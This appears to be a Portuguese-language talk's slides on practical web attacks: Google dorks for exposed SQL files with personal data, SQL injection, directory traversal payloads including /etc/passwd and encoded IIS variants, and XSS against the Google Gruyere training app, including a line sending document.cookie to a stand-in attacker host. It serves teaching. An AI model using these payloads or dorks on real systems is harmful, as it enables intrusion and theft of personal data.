Ataques a Aplicações Web - Uma visão prática - Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ ccorrea@unimedrj.com.br @cnacorrea
Agenda 1. Panorama da (in)segurança web 2. Google hacking 3. SQL Injection 4. XSS 5. Um exemplo do dia-a-dia
Vulnerabilidades da web Fonte: Projeto OWASP
Information leakage? Consultas no Google! Podem equivaler a um nmap da web inurl:<domínio> ext:<extensão> <string> inurl:com.br ext:sql medico especialidade inurl:com.br ext:sql medico cpf
SQL Injection Ataque em que um formulário é preenchido com informações que interferem no fluxo de execução de consultas Frequentemente aplicado em etapas de login Geralmente, a seção de um sistema web onde há maior preocupação com segurança
Exemplo básico Isto: SELECT * FROM Bugs WHERE bug_id = $_GET['bugid']; Pode resultar nesta instrução! SELECT * FROM Bugs WHERE bug_id = 1234 OR TRUE;
Um caso pior! UPDATE Accounts SET password = SHA2('$password') WHERE account_id = $account_id; Vira... UPDATE Accounts SET password = SHA2( xyzzy ) WHERE account_id = 1234 OR TRUE
Directory traversal Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor
Exemplo básico (PHP/Linux) Suponha um script que suporte isto: http://www.xxx.com/members/seepic.cgi?arq= 001.jpg <?... /* le imagem a ser exibida */ arqimg = fopen( /amadoras/.$_get['arq'], r ); imagem = fread($handle, filesize($arqimg)); print $imagem; fclose($arqimg);?>
Imagine agora este acesso... http://www.xxx.com/members/seepic.cgi?arq=.. /../../../../../../../../../etc/passwd
Directory traversal no Windows O caractere utilizado como separador de caminhos no Windows é \, o que de algum modo particulariza os ataques a esta plataforma Não obstante, cada vez mais APIs Windows têm suportado o caractere / em diretórios Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo servidos estiverem localizados
Variantes do ataque (1) Para evitar detecção por sistemas sensíveis a parâmetros que possuam caracteres como /, alguns ataques usam caminhos codificados Uma possibilidade é utilizar parâmetros com codificação de URL: seepic.cgi?arq=%2e%2e%2f... (../) seepic.cgi?arq=%2e%2e%5c... (..\)
Variantes do ataque (2) No passado, caracteres da plataforma Windows também podiam ser especificados por seu código Unicode Esta é uma codificação universal de 16 bits para representar símbolos em qualquer linguagem http://address.of.iis5.system/scripts/..%c0%af../winnt/ system32/cmd.exe?/c+dir+c:\ (%c0%af == '/') (%c1%9c == '\')
XSS Cross Site Scripting Através de um XSS, o Cracker injeta codigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários. -- Wikipédia
XSRF (ou CSRF) Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas Pode ser utilizado como parte de um ataque de XSS (cross-site scripting) Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima
Google Gruyere http://google-gruyere.appspot.com/ Aplicação propositalmente desenvolvida com bugs Um testbed para experiências em segurança
Google Gruyere
Ataques orientados ao Gruyere Básicos Cadastrar um item com nome: zezi<a href="lalala">nho</a> Ou com o nome: <b>isto é um teste.</b><a href="http://www.malvado.com/">link</a> Ou ainda: <P class=dev>point your mouse <A onmouseover="alert('this is an alert box!')" href="">here</a></p>
Ataques orientados ao Gruyere Internet Explorer 9 (Ago/2011) <a href="http://googlegruyere.appspot.com/<instancia>/snippets.gtl?uid=< script>alert('segura PEAO')</script>">Este é o super novo queijo</a> <a href="http://googlegruyere.appspot.com/<instancia>/snippets.gtl?uid=< script>window.open('http://www.google.com.br/')</s cript>">este é o super novo queijo</a>
Ataques orientados ao Gruyere Começando a ficar sem-graça... <a href="http://googlegruyere.appspot.com/<instancia>/snippets.gtl?uid=< script>alert(document.cookie)</script>">este é o super novo queijo</a>
Ataques orientados ao Gruyere Fazendo algo desagradável... <a href="http://googlegruyere.appspot.com/<instancia>/snippets.g tl?uid=<script>window.open("http://www.peg odadosdoseubanco.com.br/salva.php?cook=" + document.cookie)</script>">este é o super novo queijo</a> Vejamos um exemplo de script para salvar dados...
Ataques orientados ao Gruyere Indo além do pedagógico! http://googlegruyere.appspot.com/<instancia>/snippets. gtl?uid=%3ciframe%20src=%22http://www.goog le.com.br%22%20width=%22100%%22%20height= %22100%%22%3E%3Cp%3EEntrar%20em%20contat o%20com%20o%20seu%20banco.%3c/p%3e%3c/if rame%3e
OPA!!! Será que isto tem a ver comigo??
Obrigado!! Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ ccorrea@unimedrj.com.br @cnacorrea